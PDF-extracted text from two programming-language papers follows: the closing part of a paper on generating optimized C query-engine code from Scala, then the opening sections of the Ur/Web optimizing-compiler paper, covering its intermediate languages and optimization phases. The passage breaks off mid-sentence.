def update(i: Rep[Int], x: Fields) = (buf,x).zipped.foreach {
case (IntColBuffer(b), RInt(x)) => b(i) = x
case (StringColBuffer(b,l), RString(x,y)) => b(i) = x; l(i) = y

}
def apply(i: Rep[Int]): Fields = buf.map {
case IntColBuffer(b) => RInt(b(i))
case StringColBuffer(b,l) => RString(b(i),l(i))

}
}

The array buffer is passed a schema on creation, and it sets up one
ColBuffer object for each of the columns. In this version of our
query engine we also introduce typed columns, treating columns
whose name starts with “#” as numeric. This enables us to use
primitive integer arrays for storage of numeric columns instead of
a generic binary format. It would be very easy to introduce fur-
ther specialization, for example sparse or compressed columns for
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cases where we know that most values will be zero. The update
and apply methods of ArrayBuffer still provide a row-oriented in-
terface, working on a set of Fields together, but internally access
the distinct column buffers.

With this definition of array buffers at hand, we can define a
class hierarchy of hash maps, with a common base class and then
derived classes for aggregations (storing scalar values) and joins
(storing collections of objects):

class HashMapBase(keySchema: Schema, schema: Schema) {
val keys = new ArrayBuffer(keysSize, keySchema)
val htable = NewArray[Int](hashSize)
def lookup(k: Fields) =
def lookupOrUpdate(k: Fields)(init: Rep[Int]=>Rep[Unit]) = ...

}
// hash table for groupBy, storing scalar sums
class HashMapAgg(keySchema: Schema, schema: Schema) extends

HashMapBase(keySchema: Schema, schema: Schema) {
val values = new ArrayBuffer(keysSize, schema)

def apply(k: Fields) = new {
def +=(v: Fields) = {
val keyPos = lookupOrUpdate(k) { keyPos =>
values(keyPos) = schema.map(_ => RInt(0))

}
values(keyPos) = (values(keyPos) zip v) map {
case (RInt(x), RInt(y)) => RInt(x + y)

}}}
def foreach(f: (Fields,Fields) => Rep[Unit]): Rep[Unit] =
for (i <- 0 until keyCount)
f(keys(i),values(i))

}
// hash table for joins, storing lists of records
class HashMapBuffer(keySchema: Schema, schema: Schema) extends

HashMapBase(keySchema: Schema, schema: Schema) {
// ... details elided

}

Note that the hash table implementation is oblivious of the storage
format used by the array buffers. Furthermore, we’re freely using
object oriented techniques like inheritance without the usually as-
sociated overheads because all these abstractions exist only at code
generation time.

Memory-Mapped IO and Data Representations Finally, we con-
sider our handling of memory mapped IO. One key benefit will be
to eliminate data copies and represent strings just as pointers into
the memory mapped file, instead of first copying data into another
buffer. But there is a problem: the standard C API assumes that
strings are 0-terminated, but in our memory mapped file, strings
will be delimited by commas or line breaks. To this end, we intro-
duce our own operations and data types for data fields. Instead of
the previous definition of Fields as Vector[Rep[String]], we intro-
duce a small class hierarchy RField with the necessary operations:

type Fields = Vector[RField]
abstract class RField {
def print()
def compare(o: RField): Rep[Boolean]
def hash: Rep[Long]

}
case class RString(data: Rep[String], len: Rep[Int]) extends RField {
def print() = ...
def compare(o: RField) = ...
def hash = ...

}
case class RInt(value: Rep[Int]) extends RField {
def print() = printf("%d",value)
def compare(o: RField) = o match { case RInt(v2) => value == v2 }
def hash = value.asInstanceOf[Rep[Long]]

}

Note that this change is again completely orthogonal to the actual
query interpreter logic.

As the final piece in the puzzle, we provide our own specialized
Scanner class that generates mmap calls (supported by a correspond-
ing LMS IR node), and creates RField instances when reading the
data:

class Scanner(name: Rep[String]) {
val fd = open(name)
val fl = filelen(fd)
val data = mmap[Char](fd,fl)
var pos = 0
def next(d: Rep[Char]) = {
//...
RString(stringFromCharArray(data,start,len), len)

}
def nextInt(d: Rep[Char]) = {
//...
RInt(num)

}
}

With this, we are able to generate tight C code that executes the
Google Books query in 3s, just like the hand written optimized C
code. The total size of the code is just under 500 (non-blank, non-
comment) lines.

The crucial point here is that while we cannot hope to beat
hand-written specialized C code for a particular query–after all,
anything we generate could also be written by hand–we are beat-
ing, by a large margin, the highly optimized generic C code that
makes up the bulk of MySQL and other traditional database sys-
tems. By changing the perspective to embrace a generative ap-
proach we are able to raise the level of abstraction, and to leverage
high-level functional programming techniques to achieve excellent
performance with very concise code.

5. Perspectives
This paper is a case study in “abstraction without regret”: achieving
high performance from very high level code. More generally, we
argue for a radical rethinking of the role of high-level languages
in performance critical code [16]. While our work demonstrates
that Scala is a good choice, other expressive modern languages
can be used just as well, as demonstrated by Racket macros [23],
DSLs Accelerate [12], Feldspar [1], Nikola [11] (Haskell), Copper-
head [2] (Python), Terra [4, 5] (Lua).

Our case study illustrates a few common generative design pat-
terns: higher-order functions for composition of code fragments,
objects and classes for mixed-staged data structures and for modu-
larity at code generation time. While these patterns have emerged
and proven useful in several projects, the field of practical genera-
tive programming is still in its infancy and is lacking an established
canon of programming techniques. Thus, our plea to language de-
signers and to the wider PL community is to ask, for each language
feature or programming model: “how can it be used to good effect
in a generative style?”
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Abstract
High-level scripting languages have become tremendously popular
for development of dynamic Web applications. Many programmers
appreciate the productivity benefits of automatic storage manage-
ment, freedom from verbose type annotations, and so on. While it
is often possible to improve performance substantially by rewrit-
ing an application in C or a similar language, very few program-
mers bother to do so, because of the consequences for human de-
velopment effort. This paper describes a compiler that makes it
possible to have most of the best of both worlds, coding Web ap-
plications in a high-level language but compiling to native code
with performance comparable to handwritten C code. The source
language is Ur/Web, a domain-specific, purely functional, stati-
cally typed language for the Web. Through a coordinated suite
of relatively straightforward program analyses and algebraic op-
timizations, we transform Ur/Web programs into almost-idiomatic
C code, with no garbage collection, little unnecessary memory al-
location for intermediate values, etc. Our compiler is in production
use for commercial Web sites supporting thousands of users, and
microbenchmarks demonstrate very competitive performance ver-
sus mainstream tools.

Categories and Subject Descriptors D.3.4 [Programming Lan-
guages]: Processors - Optimization; D.3.2 [Programming Lan-
guages]: Language Classifications - Applicative (functional) lan-
guages

Keywords Web programming languages; pure functional pro-
gramming; whole-program optimization

1. Introduction
With the popularity explosion of the Internet within the global
economy, tools for building Internet servers are more important
than ever. Small improvements in tool practicality can pay off mas-
sively. Consider what is probably the most commonly implemented
kind of Internet server, dynamic Web applications. A popular appli-
cation may end up serving thousands of simultaneous user requests,
so there is clear economic value to optimizing the application’s per-
formance: the better the performance, the fewer physical servers the
site owners must pay for, holding user activity constant. One might

conclude, then, that most Web applications would be written in C
or other low-level languages that tend to enable the highest perfor-
mance. However, real-world programmers seem overwhelmingly to
prefer the greater programming simplicity of high-level languages,
be they dynamically typed scripting languages like JavaScript or
statically typed old favorites like Java. There is a genuine trade-off
to be made between hardware costs for running a service and labor
costs for implementing it.

Might there be a way to provide C-like performance for pro-
grams coded in high-level languages? While the concept of domain-
specific languages is growing in visibility, most Web applications
are still written in general-purpose languages, coupled with Web-
specific framework libraries. Whether we examine JavaScript, Java,
or any of the other most popular languages for authoring Web
applications, we see more or less the same programming model.
Compilers for these languages make heroic efforts to understand
program structure well enough to do effective optimization, but
theirs is an uphill battle. First, program analysis is inevitably com-
plex within an unstructured imperative model, supporting objects
with arbitrary lifetimes, accessed via pointers or references that
may be aliased. Second, Web frameworks typically involve integral
features like database access and HTML generation, but a general-
purpose compiler knows nothing about these aspects and cannot
perform specialized optimizations for them.

In this paper, we present a different approach, via an optimiz-
ing compiler for Ur/Web [6], a domain-specific, purely func-
tional, statically typed language for Web applications. In some
sense, Ur/Web starts at a disadvantage, with pure programs writ-
ten to, e.g., compute an HTML page as a first-class object using
pure combinators, rather than constructing the page imperatively.
Further, Ur/Web exposes a simple transaction-based concurrency
model, guaranteeing simpler kinds of cross-thread interference than
in mainstream languages, and there is a corresponding runtime cost.
However, in another important sense, Ur/Web has a great advantage
over frameworks in general-purpose languages: the compiler is spe-
cialized to the context of serving Web requests, generating HTML
pages, and accessing SQL databases. As a result, we have been
able to build our compiler to generate the highest-performing ap-
plications from the shortest, most declarative programs, in rep-
resentative microbenchmarks within a community-run comparison
involving over 100 different frameworks/languages.

For a quick taste of Ur/Web, consider the short example pro-
gram in Figure 1. In general, Ur/Web programs are structured as
modules exporting functions that correspond to URL prefixes. A
user effectively calls one of these functions from his browser via
the function’s URL prefix, providing function arguments serial-
ized into the URL, and then seeing the HTML page that the func-
tion returns. Figure 1 shows one such remotely callable function,
showCategory, which takes one parameter cat.

Permission to make digital or hard copies of all or part of this work for personal or
classroom use is granted without fee provided that copies are not made or distributed
for profit or commercial advantage and that copies bear this notice and the full citation
on the first page. Copyrights for components of this work owned by others than ACM
must be honored. Abstracting with credit is permitted. To copy otherwise, or republish,
to post on servers or to redistribute to lists, requires prior specific permission and/or a
fee. Request permissions from Permissions@acm.org.
Copyright is held by the owner/author(s). Publication rights licensed to ACM.

ICFP’15, August 31 – September 2, 2015, Vancouver, BC, Canada
ACM. 978-1-4503-3669-7/15/08...$15.00
http://dx.doi.org/10.1145/2784731.2784741
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table message : { Category : string, Id : int,

                  Text : string }

fun showCategory cat =

 messages <−

   queryX1 (SELECT message.Id, message.Text
            FROM message
            WHERE message.Category = {[cat]}
            ORDER BY message.Id)
   (fn r => <xml><li>#{[r.Id]}:
                     {[r.Text]}</li></xml>);
 return <xml><body>
  <h1>Messages for: {[cat]}</h1>

  <ul> {messages} </ul>
 </body></xml>

Figure 1. Ur/Web source code for a simple running example

This particular code example is for an imaginary application
that maintains textual messages grouped into categories. A user
may request, via showCategory, to see the list of all messages
found in a particular category. A table declaration binds a name
for a typed SQL database table message, where each row of the
table includes a textual category name, a numeric unique ID, and
the actual text of the message. The Ur/Web compiler type-checks
the code to make sure its use of SQL is compatible with the
declared schemas of all tables, and a compiled application will
check on start-up to be sure that the true SQL schema matches the
one declared in the program.

The body of showCategory queries the database and generates
an HTML page to show to the user. As Ur/Web is a purely func-
tional language, side effects like database access must be encoded
somehow. We follow Haskell in adopting monadic IO [20], lead-
ing to the return function and “bind” operator <- in the code,
which may generally be read like function-return and immutable
variable assignment in more conventional languages, with added
type-checking to distinguish pure and impure code.

The database query works via a higher-order library function
queryX1, for running an SQL query returning columns of just
one table, producing a piece of XHTML for each result row and
concatenating them all together to produce the final result. Here we
see Ur/Web’s syntactic sugar for building SQL and XML snippets,
which is desugared into calls to combinators typed in terms of the
very expressive Ur type system [5]. Each bit of syntax is effectively
a quotation, and the syntax {[e]} indicates injecting or antiquoting
the value of expression e within a quotation, after converting it
into a literal of the embedded language via type classes [27]. For
instance, the SQL query is customized to find only messages that
belong to the requested category, by antiquoting Ur/Web variable
cat into the SQL WHERE clause; and the piece of HTML generated
for each result row uses antiquoting to render the ID and text fields
from that row.

The last piece of showCategory’s body computes the final
HTML page to return to the user. We antiquote both the category
name and the list of message items computed above (stored in
messages). As the latter is already an XML fragment, we inject
it with the simpler syntax {e}, since we do not want any further
interpretation as a literal of the embedded language. Conceptually,
the HTML expression here denotes a typed abstract syntax tree, but
the Ur/Web implementation takes care of serializing it in standard
HTML concrete syntax, as part of the general process of parsing
an HTTP request, dispatching to the proper Ur/Web function, and
returning an HTTP response.

The example code is written at a markedly higher level of ab-
straction than in mainstream Web programming, with more ex-
pressive static type checking. We might worry that either property

void initContext(context ctx) {
createPreparedStatement(ctx , "stmt1",

"SELECT Id, Text FROM message "
"WHERE Category = ? ORDER BY Id");

}

void showCategory(context ctx , char* cat) {
write(ctx , "<body >\n<h1 >Messages for: ");
escape_w(ctx , cat);
write(ctx , " </h1 >\n<ul > ");

Cursor c = prepared(ctx , "stmt1", cat , NULL);
if (has_error(c)) error(ctx , error_msg(c));
Row r;
while (r = next_row(c)) {

write(ctx , "<li >#");
stringifyInt_w(ctx , atoi(column(r, 0)));
write(ctx , ": ");
escape_w(ctx , column(r, 1));
write(ctx , " </li>");

}

write(ctx , "\n</ul >\n</body >");
}

Figure 2. C code generated from source code in Figure 1

would add runtime bloat. Instead, the higher-level notation facili-
tates more effective optimization in our compiler. We compile via
C, and Figure 2 shows C code that would be generated for our ex-
ample. Throughout this paper, we simplify and beautify C output
code as compared to the actual behavior of our compiler in pretty-
printing C, but the real output leads to essentially the same C ab-
stract syntax trees.

First, the optimizer has noticed that the SQL queries generated
by the program follow a particular, simple template. We automati-
cally allocate a prepared statement for that template, allowing the
SQL engine to optimize the query ahead of time. The definition of a
C function initContext creates the statement, which is mostly the
same as the SQL code from Figure 1, with a question mark substi-
tuted for the antiquotation. In Ur/Web, compiled code is always run
inside some context, which may be thought of as per-thread infor-
mation. Each thread will generally have its own persistent database
connection, for instance. Our code declares the prepared statement
with a name, within that connection.

The C function showCategory implements the Ur/Web func-
tion of the same name. It is passed both the source-level parameter
cat and the current context. Another important element of context
is a mutable buffer for storing the HTML page that will eventu-
ally be returned to the user. Our handler function here appends to
this buffer in several ways, most straightforwardly with a write
method that appends a literal string. We also rely on other func-
tions with names suffixed by w for “write,” indicating a version of
a pure function that appends its output to the page buffer instead of
returning it normally. Specifically, escape w escapes a string as an
HTML literal, and stringifyInt w renders an integer as a string
in decimal. The optimizer figured out that there is no need to al-
locate storage for the results of these operations, since they would
just be written directly to the page buffer and not used again.

The next part of showCategory queries the database by calling
the prepared statement with the parameter value filled in. A quick
error check aborts the handler execution if the SQL engine has
signaled failure; another part of a context is a C setjmp marker
recording an earlier point in program execution, to which we should
longjmp back upon encountering a fatal error, and the error
function does exactly that. The common case, though, is to proceed
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through reading all of the result rows, via a cursor recording our
progress. A loop reads each successive row, appending appropriate
HTML content to the page buffer.

We finish our tour of Figure 2 by pointing out that the C code
writes many fewer whitespace characters than appeared literally in
Figure 1. Since the compiler understands the XHTML semantics
of collapsing adjacent whitespace characters into single spaces,
it is able to cut out extraneous characters, without requiring the
programmer to write less readable code without indentation.

A few big ideas underlie the Ur/Web compiler:

• Use whole-program compilation to enable the most straight-
forward analysis of interactions between different modules of a
program. Our inspiration is MLton [29], a whole-program op-
timizing compiler for Standard ML. MLton partially evaluates
programs to remove uses of abstraction and modularity mech-
anisms like parametric polymorphism or functors, in the sense
of ML module systems [16], so there need be no runtime rep-
resentation of such code patterns. Our Ur/Web compiler does
the same and goes even further in requiring that all uses of first-
class functions are reduced away during compilation.

• Where MLton relies on sophisticated control-flow and dataflow
analysis [3, 12, 30], we instead rely only on simple syntactic
dependency analysis and algebraic rewriting. We still take
advantage of optimizations based on dataflow analysis in the C
compiler that processes output of our compiler, but we do not
implement any new dataflow analysis.

• A standard C compiler would not be able to optimize our out-
put code effectively if not for another important deviation from
MLton and most other functional-language implementations:
we generate code that does not use garbage collection and
that employs idiomatic C representations for nearly all data
types. In particular, we employ a simple form of region-based
memory management [25], where memory allocation follows
a stack discipline that supports constant-time deallocation of
groups of related objects. Where past work has often used non-
trivial program analysis to find region structure, we use a sim-
ple algorithm based on the normal types of program subexpres-
sions, taking advantage of Ur/Web’s pure functional nature. We
also employ the safe fallback of running each HTTP request
handler inside a new top-level region, since Ur/Web only sup-
ports persistent cross-request state via the SQL database.

• We apply a relatively simple and specialized fusion optimiza-
tion to combine generating HTML data and imperatively
appending it to page buffers. The result is C code like in Fig-
ure 2, without any explicit concatenation of HTML fragments
to form intermediate values. While more general fusion opti-
mizations [8] can grow quite involved, our specialized transfor-
mation is relatively simple and only requires about 100 lines of
code to implement.

• A key enabling optimization for fusion is a lightweight effect
analysis on an imperative intermediate language. Ur/Web
programs like the one in Figure 1 are naturally written in a
monadic style, where, e.g., a database query might be per-
formed at a point in the code fairly far from where the results
are injected into a result HTML document. Moving the query
closer to the injection point enables fusion. We summarize pro-
gram subexpressions with effects to determine when portions
commute with each other, enabling useful code motion.

We now step back and explain the compilation process in more
detail. Section 2 introduces the intermediate languages that our
compiler uses, and Section 3 presents the key compiler phases.
Section 4 evaluates optimization effectiveness with experiments.

Ur/Web is an established open-source project with a growing
community of users, and its source code and documentation are
available at:

http://www.impredicative.com/ur/

We have one unified message in mind, which we hope the rest of
the paper supports: A relatively simple set of algebraic optimiza-
tions makes it possible to compile a very high-level language
to low-level code with extremely competitive performance. It
should be reasonably straightforward for authors of other domain-
specific functional languages to apply our strategy. At the same
time, the applicability conditions of these techniques are subtle: for
instance, they depend on Ur/Web’s flavor of purity. Nonetheless,
when the conditions are met, we are able to reduce the runtime
costs of high-level abstractions to near zero.

2. Intermediate Languages
First, the bare essentials of the source language: it is statically
typed, purely functional, and strict, generally following the syn-
tax of Standard ML by default, but adopting ideas from Haskell and
dependently typed languages like Coq.

Ur/Web is a so-called tierless language, where programmers
write a full application in a single language (potentially even within
a single source file), including bits of code that ought to run on
the server or on the client (browser). Purity is put to good use
in a client-side GUI system based on functional-reactive program-
ming [10], where pages are described as pure functions over data
sources that may be mutated out-of-band. In this paper, we will
mostly ignore the client-side aspect of Ur/Web, adding a few com-
ments about points in the pipeline where different elements of
client-server interaction are processed. The compiler is structured
around a number of different representations of full Ur/Web pro-
grams:

Sets of textual source files. The starting point of compilation is
traditional ASCII source code spread across multiple files, which
denote different Ur/Web modules.

Source. The parser translates source code into single abstract
syntax trees, standing for programs with multiple top-level module
declarations, in general. This tree type matches source code very
closely, though some expansions of syntactic sugar are performed.

Expl. Next we have a version of the source language where many
types of nodes are annotated explicitly with type information. For
instance, all invocations of polymorphic functions include explicit
types for the parameters, and all invocations of functions based on
type classes [27] include explicit dictionary arguments to witness
the results of instance resolution.

Core. Here we remove the module system from the language, so
that programs consist only of sequences of declarations of types
and values (e.g., functions). Figure 3 summarizes the key parts
of the syntax. Briefly, Ur is an extension of System Fω [21], the
higher-order polymorphic λ-calculus. There are functions in the
style of λ-calculus at both the type level and the value level, fa-
cilitating useful abstraction patterns.

Ur extends Fω with type-level finite maps (having kinds like
{κ}, for finite maps from names to types of kind κ, inspired by row
types [28]), which are used to assign types like {A 7→ int,B 7→
bool} to value-level records in a flexible way. Names (via name lit-
erals N ) inhabit a special kind Name, allowing nontrivial compile-
time computation with names. Value-level records are built like
{A = 1,B = True}, though the names might also be type vari-
ables bound by polymorphic functions. A field is projected from a
record like e.A. Tuple types (written like Cartesian products) are
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Type vars α
Kinds κ ::= Type | κ→ κ | Name | {κ} | . . .

Literal names N
Types c, τ ::= α | τ → τ | ∀α :: κ. τ | {−−−→c 7→ τ}

| λα :: κ. c | c c | N | . . .
Value vars x

Constructors X
Literals `
Patterns p ::= | x | ` | X | X(p) | {−−−→c = p}

Expressions e ::= ` | x | X | X(e) | λx : τ. e
| Λα :: κ. e | e e | e [c]
| {−−−→c = e} | e.c | let x = e in e
| case e of −−−→p⇒ e | . . .

Declarations d ::= type α :: κ = c | val x : τ = e

| datatype
−−−−−−−−−−−−→
α(−→α ) =

−−−−−→
X [of τ ]

| val rec −−−−−→x : τ = e | . . .
Programs P ::=

−→
d

Figure 3. Syntax of Core language

syntactic sugar for record types with consecutive natural numbers
as field names.

Core also supports mutually recursive definitions of algebraic
datatypes, where each type takes the form α(−→α ), as a type family
applied to a (possibly empty) list of formal type parameters. Not
shown in the figure, but included in the implementation, are poly-
morphic variants [13], based on a primitive type of kind {Type} →
Type, which provides a way of constructing a type using a finite
map from names to types.

By the end of the compilation process, a program must have
been reduced to using only finitely many distinct (possibly anony-
mous) record and variant types, which are compiled respectively to
(named) C struct and union types. All name variables must have
been resolved to name literals.

Mono. The next simplification is to remove all support for poly-
morphism or the more involved type-level features of Ur, basically
just dropping the associated productions of Figure 3 to form a more
restricted grammar. However, another essential change is that the
language becomes imperative, adding a primitive function write
for appending a string to the thread-local page-content buffer.

Cjr. Our penultimate language is a simplified subset of C, with
some of our data-representation and memory-management conven-
tions baked in. All record and variant types must be named by this
stage.

C. Finally, we output standard C code as text, feeding it into a
normal UNIX compilation toolchain, linking with a runtime system
implemented directly in C.

3. Compilation Phases
Figure 4 shows the main phases of our compilation pipeline. Bold
rectangles separate the different intermediate languages, named
with italic text, and arrows represent transformation phases, labeled
with the remaining text. Some arrows connecting to several dots are
schematic, representing running several different kinds of phases,
some of them multiple times, in orders that we do not bother to
specify. As in many compiler projects, our intralanguage phase
orderings derive from trial and error, and we do not have any great
confidence that the present orderings are especially optimal.

Source

Expl

Text

Parse

Elaborate

Core

Corify

Unnest

Untangle,
Shake,
Reduce,
Unpoly,
Specialize,
Especialize

…
.

Mono

Monoize

Untangle,
Shake,
Reduce,
Rewrite,
Fuse

…

C

Cjr

Cjrize

Prepare

Cify

Figure 4. Ur/Web compilation phases

3.1 From Source Code to Core
The first few phases of the compiler are quite standard. The trans-
lation from Source to Expl employs the Ur type-inference algo-
rithm [5], which is able to cope with sophisticated uses of type-level
computation. One additional intralanguage phase applies to the
type-annotated programs: an Unnest transformation does lambda
lifting [18] to transform local function definitions into definitions
of top-level functions that should be called with extra arguments,
specifically those local variables referenced in function bodies.
Later phases assume that all expressions of function type either
now refer to top-level variables or will be eliminated by algebraic
optimizations.

Actually, the positions we call “top-level” above refer to the top
levels of module definitions. Expl still supports nested module def-
initions, and some modules may be functors [16], or functions from
modules to modules. Following MLton, our compiler eliminates all
module-system features at compile time. Basic modules are flat-
tened into sequences of truly top-level declarations, with references
to them fixed up. All functor applications are removed by inlin-
ing functor definitions. This step breaks all modularity via abstract
types from the original program, facilitating optimizations that de-
pend on, e.g., knowing the true representation of an abstract type,
at a call site to a function of the module encapsulating that type.
The definitions of functions themselves are also all exposed, and
they will often be inlined (in later phases) into their use sites.
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One unusual aspect of the translation into Core is that we must
maintain enough information to build a mapping from URL pre-
fixes to their handler functions. Module paths and function names
in the original source program are used to construct a unique name
for each handler (which must be top-level after the Unnest trans-
formation), and the Corify translation must tag each new top-level
function definition with its module path from the original program.

3.2 Optimizations on Core
A number of transformations are applied repeatedly to Core pro-
grams to simplify them in different ways.

Untangle finds mutually recursive function definitions where
the dependencies between functions are not actually fully cyclic,
expanding those mutual-definition groups into multiple distinct
definitions in order. Such a transformation helps later program anal-
yses compute more accurate answers, despite avoiding dataflow
analysis and assuming conservatively that all functions in a recur-
sive group may really call each other.

A natural source of spurious apparent recursion is functions that
call each other through links in HTML pages. These links are writ-
ten as Ur/Web function calls, rather than as textual URLs, allowing
the compiler to understand the link structure of an application. For
instance, we might write this program that mixes “real” runtime
recursion with the special sort of recursion through links:

fun listElements ls =
case ls of
[] => return <xml/>

| n :: ls’ =>
rest <- listElements ls’;
return <xml>

<a link={showOne ls n}>{[n]}</a>,
{rest}</xml>

and showOne ls n =
return <xml><body>
Viewing #{[n]};
<a link={listElements ls}>Back to list</a>

</body></xml>

One Core-level phase, which we do not detail here, is respon-
sible for translating link calls into URLs, by serializing function
arguments appropriately, etc. The result for our example is the fol-
lowing, where ^ is the string-concatenation operator:

fun listElements ls =
case ls of
[] => return <xml/>

| n :: ls’ =>
rest <- listElements ls’;
return <xml>

<a href={"/showOne/" ^ serialize(ls)
^ "/" ^ serialize(n)}>{[n]}</a>,

{rest}</xml>
and showOne ls n =

return <xml><body>
Viewing #{[n]};
<a href={"/listElements/"

^ serialize(ls)}>Back to list</a>
</body></xml>

When Untangle analyzes this code, it determines that neither
function calls the other directly, and only listElements calls
itself directly. Thus, we may split this mutual definition into two
separate definitions, one recursive and one not.

Shake performs tree-shaking, deleting unused definitions from
programs. Each Ur/Web program has a designated primary module,
and it is the properly typed functions exported by that module that

the compiler must guarantee are callable via URLs. Other named
functions reachable transitively from the entry points by links, etc.,
are also included in the final URL mapping. As a result, it is sound
to remove definitions that the entry-point functions do not depend
on. The next few optimizations build various specializations of type
and function definitions, often leaving the originals orphaned, at
which point Shake garbage-collects them.

Reduce applies algebraic simplifications in the style of the
simplifier of the Glasgow Haskell Compiler [19]. Some of the most
important transformations include inlining definitions, doing beta
reduction for both type and value lambdas, and simplifying case
expressions with scrutinees built with known constructors.

In general, definitions are inlined based on a size threshold,
but, because later phases of the compiler require monomorphic
code, nonrecursive polymorphic definitions are always inlined. For
instance, starting from this program using a polymorphic pairing
function

fun pairUp [a :: Type] (x : a) = (x, x)
val p : int * int = pairUp [int] 7

inlining and beta reduction (for both type and value abstraction)
replace the second declaration with

val p : int * int = (7, 7)

Since thanks to the whole-program compilation model pairUp
may be inlined at all uses, a later Shake phase will remove its
definition. A similar pattern applies to functions polymorphic in
record-related kinds like Name; inlining and partial evaluation
replace their uses with operations on fixed record types.

Unpoly is the first of the phases removing polymorphism from
Core programs. It replaces polymorphic function applications with
calls to specialized versions of those functions. For instance, con-
sider this program working with an ML-style option type family
and its associated map function. In reality, since the function is not
recursive, simple inlining by Reduce would accomplish some of
the optimization that we attribute to other phases here, but we pre-
fer this example for its simplicity.

datatype option a = None | Some of a

fun map [a] [b] (f : a -> b) (x : option a) =
case x of

None => None
| Some x’ => Some (f x’)

val _ = map [int] [int] (fn n => n + 1) (Some 1)

The Unpoly output, after Shaking, would be:

datatype option a = None | Some of a

fun map’ (f : int -> int) (x : option int) =
case x of

None => None
| Some x’ => Some (f x’)

val _ = map’ (fn n => n + 1) (Some 1)

Specialize is the next phase, which creates custom versions of
algebraic datatypes, changing our example to:

datatype option’ = None’ | Some’ of int

fun map’ (f : int -> int) (x : option’) =
case x of

None’ => None’
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| Some’ x’ => Some’ (f x’)

val _ = map’ (fn n => n + 1) (Some’ 1)

Especialize operates in the same spirit, this time removing
uses of first-class functions instead of polymorphism. We apply
call-pattern specialization [17] to generate versions of functions
specialized to patterns of arguments, looking especially for patterns
that will remove use of first-class functions. When we identify map’
(fn n => n + 1) as a specialized calling form for map’ with no
free variables, our running example changes into:

datatype option’ = None’ | Some’ of int

fun map’’ (x : option’) =
case x of
None’ => None’

| Some’ x’ => Some’ (x’ + 1)

val _ = map’’ (Some’ 1)

More sophisticated examples identify call templates that do
contain free variables, generally of function-free types. Those free
variables become new parameters to the specialized functions. Such
a feature is important for, e.g., calling a list map function with
an argument lambda that contains free variables from the local
context. Also note that type classes in Ur/Web are represented
quite explicitly with first-class values standing for instances, and
Especialize will often specialize a function to a particular type-class
instance. For example, a generic is-element-in-list function will be
specialized to the appropriate instance of the equality-testing type
class.

Iterating these transformations in the right order produces a
program where all types are broadly compatible with standard C
data representations. We formalize that property by translation into
Mono.

3.3 The Monoize Phase
Most syntax nodes translate from Core to Mono just by calling the
same translation recursively on their child nodes. However, many
identifiers from the Ur/Web standard library have their definitions
expanded. We do not just link with their runtime implementations,
like in usual separate compilation, because we want to expose
opportunities for compile-time optimization. For instance, where
the programmer writes an SQL query like this one:

SELECT t.A, t.B FROM t WHERE t.C = {[n]}

the parser produces desugared code like:

select
(selTable [T] (selColumn [A]
(selColumn [B] selNil)) selDone)

(from_table t)
(sql_eq (sql_column [T] [C]) (sql_int n))

Each of these standard-library identifiers must be expanded to ex-
plain it in more primitive terms. Implicit here is the type family of
SQL queries, which is just expanded into the string type, as ap-
propriate checking of query validity has been done in earlier stages.
A simple operator like sql eq, for building an SQL equality ex-
pression given two argument expressions, can be translated as:

fn (e1 e2 : string) => e1 ^ " = " ^ e2

Similarly for select above:

fn (sel from where : string) =>
"SELECT " ^ sel ^ " FROM " ^ from
^ " WHERE " ^ where

The Mono optimizations, which run soon after Monoize, will
beta-reduce applications of such anonymous functions.

Some combinators work in ways that cannot be expressed in
Ur. For instance, there is no general way to convert a type-level
first-class name to a string, following the System F philosophy of
providing parametricity guarantees that limit possible behaviors of
polymorphic functions [22]. However, this kind of conversion is
convenient for implementing some SQL operations, like referenc-
ing a column as an expression. Monoize does ad-hoc translation of
an expression like sql column [T] [C] into "T.C".

Mono is the first impure intermediate language, meaning it sup-
ports side effects. After Monoize, every URL entry-point of the
application has an associated function that wraps a call to the prim-
itive function write around an invocation of the original monadic
function from the source code. Each monadic value is translated
into a first-class impure function that performs the appropriate side
effects. Much of the later optimization deals with simplifying par-
ticular usage patterns of write.

3.4 Optimizations on Mono
Mono has its own Untangle and Shake phases, exactly analogous
to those for Core. The other two key optimizations finally bring us
to the heart of transforming Figure 1 into Figure 2, moving SQL
query code to the places where it is needed and avoiding allocation
of intermediate values.

Reduce for Mono acts much like it does for Core, but with the
added complexity of analyzing side effects. For example, to move
an SQL query to its use point, a crucial transformation is replacing
an expression like let x = e1 in e2 with e2[e1/x]. The Monoize
phase composed with basic reduction will transform a monadic
bind operation into exactly this kind of let, when enough is known
about the structure of the operands. However, this let inlining is
only sound under conditions on what side effects e1 and e2 may
have, the position(s) of x within e2, etc.

To allow sound let inlining, Mono Reduce applies a simple one-
pass program analysis. We define a fixed, finite set of abstract ef-
fects that an expression may have: WritePage, for calling the write
operation to append to the page buffer; ReadDb and WriteDb, for
SQL database access (i.e., calls to distinguished standard-library
functions); and ?, for any case where the analysis is too imprecise
to capture an effect (for instance, for any call to a local variable of
function type).

A simple recursive traversal of any expression e computes a set
PREx(e) of the effects that may occur before the first use of x.
Now the condition for inlining in let x = e1 in e2 is:

1. x occurs exactly once along every control-flow path in e2, and
that occurrence is not within a λ.

2. ? /∈ PREx(e1).

3. If WritePage ∈ PREx(e2), then WritePage /∈ PREx(e1).
(Note that x cannot occur in e1, so PREx(e1) includes all
effects.)

4. If ReadDb ∈ PREx(e2), then WriteDb /∈ PREx(e1).

5. If WriteDb ∈ PREx(e2), then WriteDb /∈ PREx(e1) and
ReadDb /∈ PREx(e1).

That is, different database read operations commute with each
other, but database writes commute with no other database opera-
tions. Page-write operations do not commute with each other. How-
ever, either class of operation commutes with the other. This sim-
ple, sound rule is sufficient to show that the database query of Fig-
ure 1 is safe to inline to its use site, since database reads commute
with page writes. (Even this simple level of reasoning is only nec-
essary after the next optimization has run to split the code into a
sequence of distinct write operations.)
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table fortune : {Id : int, Message : string}

val new_fortune = {Id = 0, Message = "XXX"}

fun fortunes () =

  fs <− queryL1 (SELECT fortune.Id, fortune.Message
                 FROM fortune);
  return <xml>
    <head><title>Fortunes</title></head>
    <body><table>
      <tr><th>id</th><th>message</th></tr>
      {List.mapX (fn f => <xml><tr>
        <td>{[f.Id]}</td><td>{[f.Message]}</td>
      </tr></xml>)
      (List.sort

        (fn x y => x.Message > y.Message)

        (new_fortune :: fs))}

    </table></body>
  </xml>

Figure 5. Simplified version of Fortunes benchmark

The current Ur/Web optimizer supports only this hardcoded set
of effects. It may also be worthwhile to make the effect set extensi-
ble, with hooks into the foreign function interface to describe which
effects are produced by new impure primitives.

Rewrite applies simple algebraic optimization laws. The primi-
tive combinators for building XML trees are translated by Monoize
